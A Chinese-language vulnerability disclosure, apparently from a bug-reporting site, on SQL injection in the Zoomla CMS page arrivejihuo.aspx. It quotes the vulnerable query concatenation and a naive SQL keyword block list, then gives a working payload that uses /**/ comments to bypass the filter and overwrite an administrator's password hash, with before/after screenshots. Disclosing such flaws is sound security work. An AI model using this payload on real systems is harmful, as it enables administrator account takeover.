### 简要描述:
绕过了那个很简单的防注入。直接可以update管理员密码。
### 详细说明:
没什么太多可说的……就注入。
### 漏洞证明:
注入点:
http://demo.zoomla.cn/user/cashcoupon/arrivejihuo.aspx
页面的按钮点击事件:
```
protected void Btn_Click调用了b_Arrive.UpdateState(text);
public bool UpdateState(string ArriveNo)
{
string sqlStr = "Update ZL_Arrive SET State =1 WHERE ArriveNO='" + ArriveNo + "'"; ///果断注入
return SqlHelper.ExecuteSql(sqlStr);
}
```
Page_Load方法里面有调用到了一个函数:
DataSecurity.StartProcessRequest();
上面这个函数具体是这样的:
```
public static void StartProcessRequest()
{
try
{
if (HttpContext.Current.Request.QueryString != null)
{
for (int i = 0; i < HttpContext.Current.Request.QueryString.Count; i++)
{
string getkeys = HttpContext.Current.Request.QueryString.Keys[i];
if (!DataSecurity.ProcessSqlStr(HttpContext.Current.Request.QueryString[getkeys]))
{
function.WriteErrMsg("数据不能包含SQL注入代码!");
HttpContext.Current.Response.End();
}
}
}
if (HttpContext.Current.Request.Form != null)
{
for (int j = 0; j < HttpContext.Current.Request.Form.Count; j++)
{
string getkeys = HttpContext.Current.Request.Form.Keys[j];
if (!DataSecurity.ProcessSqlStr(HttpContext.Current.Request.Form[getkeys]))
{
function.WriteErrMsg("数据不能包含SQL注入代码!");
HttpContext.Current.Response.End();
}
}
}
}
……
}
```
里面还调用到一个DataSecurity.ProcessSqlStr
```
public static bool ProcessSqlStr(string Str)
{
bool ReturnValue = true;
Str = Str.ToLower();
try
{
if (Str != "")
{
string SqlStr = "and |exec |insert |select |delete |update |count |chr |mid |master |truncate |char |declare ";
string[] anySqlStr = SqlStr.Split(new char[]
{
'|'
});
string[] array = anySqlStr;
for (int i = 0; i < array.Length; i++)
{
string ss = array[i];
if (Str.IndexOf(ss) >= 0)
{
ReturnValue = false;
}
}
}
}
catch
{
ReturnValue = false;
}
return ReturnValue;
}
```
对于变量
string SqlStr = "and |exec |insert |select |delete |update |count |chr |mid |master |truncate |char |declare ";
里面的特征字符串,仅仅是做了一个很简单的匹配,很容易绕过,看例子:
在页面正常输入东西:
[<img src="https://images.seebug.org/upload/201310/241728536287683c9a47887c854a9e53f81ae409.png" alt="image019.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201310/241728536287683c9a47887c854a9e53f81ae409.png)
提交的时候截断一下,改下优惠券编号的代码,如下:
1';update/**/zl_manager set adminpassword='c4ca4238a0b923820dcc509a6f75849b' where adminname='testuser'--
执行前管理密码是这样的:
[<img src="https://images.seebug.org/upload/201310/24173227674b6af055cb4d7c4af413690ce58ee4.png" alt="image023.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201310/24173227674b6af055cb4d7c4af413690ce58ee4.png)
执行后是这样的:
[<img src="https://images.seebug.org/upload/201310/2417324280f0b6a3dc479db3d543d71f79aec775.png" alt="image027.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201310/2417324280f0b6a3dc479db3d543d71f79aec775.png)
表明注入成功。
暂无评论